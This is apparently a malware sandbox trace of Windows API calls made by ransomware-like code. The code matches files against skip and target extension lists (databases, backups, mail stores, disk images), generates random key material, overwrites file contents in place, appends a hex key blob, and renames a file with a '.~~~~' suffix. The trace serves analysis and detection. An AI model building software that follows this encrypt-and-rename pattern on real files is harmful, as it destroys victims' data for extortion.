	[0081.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".txt") returned 0x0
	[0081.974] lstrlenW (lpString=".mdt") returned 4
	[0081.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".mdt") returned 0x0
	[0081.974] lstrlenW (lpString=".BDB") returned 4
	[0081.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".BDB") returned 0x0
	[0081.974] lstrlenW (lpString=".eql") returned 4
	[0081.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".eql") returned 0x0
	[0081.974] lstrlenW (lpString=".DBF") returned 4
	[0081.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DBF") returned 0x0
	[0081.975] lstrlenW (lpString=".EQL") returned 4
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".EQL") returned 0x0
	[0081.975] lstrlenW (lpString=".FDB") returned 4
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".FDB") returned 0x0
	[0081.975] lstrlenW (lpString=".EDB") returned 4
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".EDB") returned 0x0
	[0081.975] lstrlenW (lpString=".DACPAC") returned 7
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.975] lstrlenW (lpString=".VHD") returned 4
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".VHD") returned 0x0
	[0081.975] lstrlenW (lpString=".DBV") returned 4
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DBV") returned 0x0
	[0081.975] lstrlenW (lpString=".dacpac") returned 7
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".dacpac") returned 0x0
	[0081.975] lstrlenW (lpString=".sdf") returned 4
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".sdf") returned 0x0
	[0081.975] lstrlenW (lpString=".accdb") returned 6
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".accdb") returned 0x0
	[0081.975] lstrlenW (lpString=".DBX") returned 4
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DBX") returned 0x0
	[0081.975] lstrlenW (lpString=".MDT") returned 4
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".MDT") returned 0x0
	[0081.975] lstrlenW (lpString=".SQB") returned 4
	[0081.975] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".SQB") returned 0x0
	[0081.975] lstrlenW (lpString=".vhd") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".vhd") returned 0x0
	[0081.976] lstrlenW (lpString=".bac") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".bac") returned 0x0
	[0081.976] lstrlenW (lpString=".mdf") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".mdf") returned 0x0
	[0081.976] lstrlenW (lpString=".BAK") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".BAK") returned 0x0
	[0081.976] lstrlenW (lpString=".BAC") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".BAC") returned 0x0
	[0081.976] lstrlenW (lpString=".dbs") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".dbs") returned 0x0
	[0081.976] lstrlenW (lpString=".vhdx") returned 5
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".vhdx") returned 0x0
	[0081.976] lstrlenW (lpString=".NDF") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".NDF") returned 0x0
	[0081.976] lstrlenW (lpString=".dat") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".dat") returned 0x0
	[0081.976] lstrlenW (lpString=".DBS") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DBS") returned 0x0
	[0081.976] lstrlenW (lpString=".CKP") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".CKP") returned 0x0
	[0081.976] lstrlenW (lpString=".edb") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".edb") returned 0x0
	[0081.976] lstrlenW (lpString=".PST") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".PST") returned 0x0
	[0081.976] lstrlenW (lpString=".dbf") returned 4
	[0081.976] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".dbf") returned 0x0
	[0081.977] lstrlenW (lpString=".SQL") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".SQL") returned 0x0
	[0081.977] lstrlenW (lpString=".pst") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".pst") returned 0x0
	[0081.977] lstrlenW (lpString=".dbv") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".dbv") returned 0x0
	[0081.977] lstrlenW (lpString=".SDF") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".SDF") returned 0x0
	[0081.977] lstrlenW (lpString=".dtxs") returned 5
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".dtxs") returned 0x0
	[0081.977] lstrlenW (lpString=".db3") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".db3") returned 0x0
	[0081.977] lstrlenW (lpString=".OST") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".OST") returned 0x0
	[0081.977] lstrlenW (lpString=".dbx") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".dbx") returned 0x0
	[0081.977] lstrlenW (lpString=".DB3") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DB3") returned 0x0
	[0081.977] lstrlenW (lpString=".DAT") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DAT") returned 0x0
	[0081.977] lstrlenW (lpString=".VHDX") returned 5
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".VHDX") returned 0x0
	[0081.977] lstrlenW (lpString=".ndf") returned 4
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".ndf") returned 0x0
	[0081.977] lstrlenW (lpString=".DB") returned 3
	[0081.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DB") returned 0x0
	[0081.977] lstrlenW (lpString=".sql") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".sql") returned 0x0
	[0081.978] lstrlenW (lpString=".MYD") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".MYD") returned 0x0
	[0081.978] lstrlenW (lpString=".DBT") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DBT") returned 0x0
	[0081.978] lstrlenW (lpString=".ACCDB") returned 6
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.978] lstrlenW (lpString=".fdb") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".fdb") returned 0x0
	[0081.978] lstrlenW (lpString=".bak") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".bak") returned 0x0
	[0081.978] lstrlenW (lpString=".myd") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".myd") returned 0x0
	[0081.978] lstrlenW (lpString=".DTXS") returned 5
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".DTXS") returned 0x0
	[0081.978] lstrlenW (lpString=".ckp") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".ckp") returned 0x0
	[0081.978] lstrlenW (lpString=".dbt") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".dbt") returned 0x0
	[0081.978] lstrlenW (lpString=".db") returned 3
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".db") returned 0x0
	[0081.978] lstrlenW (lpString=".TXT") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".TXT") returned 0x0
	[0081.978] lstrlenW (lpString=".MDF") returned 4
	[0081.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".MDF") returned 0x0
	[0081.979] lstrlenW (lpString=".bdb") returned 4
	[0081.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".bdb") returned 0x0
	[0081.979] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.979] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.980] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.980] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.980] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20197012628) returned 1
	[0081.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ab6f690, dwHighDateTime=0x1d60e1e)) 
	[0081.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3450
	[0081.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3450 | out: hHeap=0x300000) returned 1
	[0081.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0081.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0081.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0081.981] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.981] GetLastError () returned 0x0
	[0081.981] GetLastError () returned 0x0
	[0081.981] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.981] GetLastError () returned 0x0
	[0081.981] GetLastError () returned 0x0
	[0081.981] ReadFile (in: hFile=0x120, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.987] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.987] WriteFile (in: hFile=0x120, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0081.989] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.989] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.991] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.991] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.991] CloseHandle (hObject=0x120) returned 1
	[0081.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0081.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.~~~~")) returned 1
	[0081.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc118 | out: hHeap=0x300000) returned 1
	[0081.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.992] GetLastError () returned 0x0
	[0081.992] RtlWakeConditionVariable () returned 0x365f70
	[0081.992] GetCurrentThreadId () returned 0x9cc
	[0081.992] GetCurrentThreadId () returned 0x9cc
	[0081.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0081.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc378 | out: hHeap=0x300000) returned 1
	[0081.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3418 | out: hHeap=0x300000) returned 1
	[0081.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc378
	[0081.992] lstrlenW (lpString=".scr") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".scr") returned 0x0
	[0081.993] lstrlenW (lpString=".cmd") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".cmd") returned 0x0
	[0081.993] lstrlenW (lpString=".dll") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".dll") returned 0x0
	[0081.993] lstrlenW (lpString=".bat") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".bat") returned 0x0
	[0081.993] lstrlenW (lpString=".cpl") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".cpl") returned 0x0
	[0081.993] lstrlenW (lpString=".sys") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".sys") returned 0x0
	[0081.993] lstrlenW (lpString=".msc") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".msc") returned 0x0
	[0081.993] lstrlenW (lpString=".com") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".com") returned 0x0
	[0081.993] lstrlenW (lpString=".lnk") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".lnk") returned 0x0
	[0081.993] lstrlenW (lpString=".msp") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".msp") returned 0x0
	[0081.993] lstrlenW (lpString=".pif") returned 4
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".pif") returned 0x0
	[0081.993] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.993] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch="msp\r\n.pif") returned 0x0
	[0081.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0082.028] lstrlenW (lpString=".sqb") returned 4
	[0082.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".sqb") returned 0x0
	[0082.028] lstrlenW (lpString=".ost") returned 4
	[0082.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".ost") returned 0x0
	[0082.035] lstrlenW (lpString=".txt") returned 4
	[0082.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".txt") returned 0x0
	[0082.035] lstrlenW (lpString=".mdt") returned 4
	[0082.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".mdt") returned 0x0
	[0082.035] lstrlenW (lpString=".BDB") returned 4
	[0082.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".BDB") returned 0x0
	[0082.035] lstrlenW (lpString=".eql") returned 4
	[0082.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".eql") returned 0x0
	[0082.035] lstrlenW (lpString=".DBF") returned 4
	[0082.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DBF") returned 0x0
	[0082.070] lstrlenW (lpString=".EQL") returned 4
	[0082.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".EQL") returned 0x0
	[0082.070] lstrlenW (lpString=".FDB") returned 4
	[0082.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".FDB") returned 0x0
	[0082.070] lstrlenW (lpString=".EDB") returned 4
	[0082.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".EDB") returned 0x0
	[0082.070] lstrlenW (lpString=".DACPAC") returned 7
	[0082.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DACPAC") returned 0x0
	[0082.070] lstrlenW (lpString=".VHD") returned 4
	[0082.070] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".VHD") returned 0x0
	[0082.071] lstrlenW (lpString=".DBV") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DBV") returned 0x0
	[0082.071] lstrlenW (lpString=".dacpac") returned 7
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".dacpac") returned 0x0
	[0082.071] lstrlenW (lpString=".sdf") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".sdf") returned 0x0
	[0082.071] lstrlenW (lpString=".accdb") returned 6
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".accdb") returned 0x0
	[0082.071] lstrlenW (lpString=".DBX") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".DBX") returned 0x0
	[0082.071] lstrlenW (lpString=".MDT") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".MDT") returned 0x0
	[0082.071] lstrlenW (lpString=".SQB") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".SQB") returned 0x0
	[0082.071] lstrlenW (lpString=".vhd") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".vhd") returned 0x0
	[0082.071] lstrlenW (lpString=".bac") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".bac") returned 0x0
	[0082.071] lstrlenW (lpString=".mdf") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".mdf") returned 0x0
	[0082.071] lstrlenW (lpString=".BAK") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".BAK") returned 0x0
	[0082.071] lstrlenW (lpString=".BAC") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".BAC") returned 0x0
	[0082.071] lstrlenW (lpString=".dbs") returned 4
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".dbs") returned 0x0
	[0082.071] lstrlenW (lpString=".vhdx") returned 5
	[0082.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", lpSrch=".vhdx") returned 0x0
